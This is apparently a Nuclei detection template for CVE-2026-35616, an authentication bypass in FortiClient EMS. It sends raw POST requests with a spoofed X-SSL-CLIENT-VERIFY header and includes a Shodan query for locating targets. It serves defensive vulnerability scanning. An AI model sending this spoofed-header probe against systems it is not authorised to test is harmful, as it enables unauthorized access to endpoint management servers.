id: CVE-2026-35616

info:
  name: FortiClient EMS - Authentication Bypass
  author: ritikchaddha
  severity: high
  description: |
    Detects whether Fortinet hotfix FG-IR-26-099 for CVE-2026-35616 is missing by comparing behavioral responses from a certificate-authenticated endpoint. The template sends X-SSL-CLIENT-VERIFY: SUCCESS without certificate material and checks whether this spoofed header changes server behavior.
  impact: |
    If spoofing X-SSL-CLIENT-VERIFY changes backend behavior, Apache is likely not stripping the header before Django, indicating the target is still vulnerable.
  remediation: |
    Apply Fortinet hotfix FG-IR-26-099 or upgrade to FortiClient EMS 7.4.7+.
  reference:
    - https://bishopfox.com/blog/api-authentication-bypass-in-forticlient-ems-7-4-5-7-4-6-cve-2026-35616
    - https://nvd.nist.gov/vuln/detail/CVE-2026-35616
  classification:
    cve-id: CVE-2026-35616
    epss-score: 0.88505
    epss-percentile: 0.99752
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 2
    vendor: fortinet
    product: forticlient_ems
    shodan-query: http.favicon.hash:-800551065
  tags: cve,cve2026,fortinet,forticlient,ems,auth-bypass,kev,vkev

http:
  - raw:
      - |
        POST /api/v1/fabric_device_auth/fortigate/init HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

        f

      - |
        POST /api/v1/fabric_device_auth/fortigate/init HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0
        X-SSL-CLIENT-VERIFY: SUCCESS

        f

    matchers:
      - type: dsl
        dsl:
          - "contains(tolower(body_1), 'certificate not found')"
          - "status_code_1 == 401 && status_code_2 == 500"
          - "(body_1 != body_2)"
        condition: and
# digest: 4a0a0047304502200bb03f66e03af7875464c958ea4a946b726ea0433e19e7b4875843e198a5ede0022100aea0979a8e45500ff05c8add6619768a1a59cbcc49915b91862caee87886b8c0:922c64590222798bb761d5b6d8e72950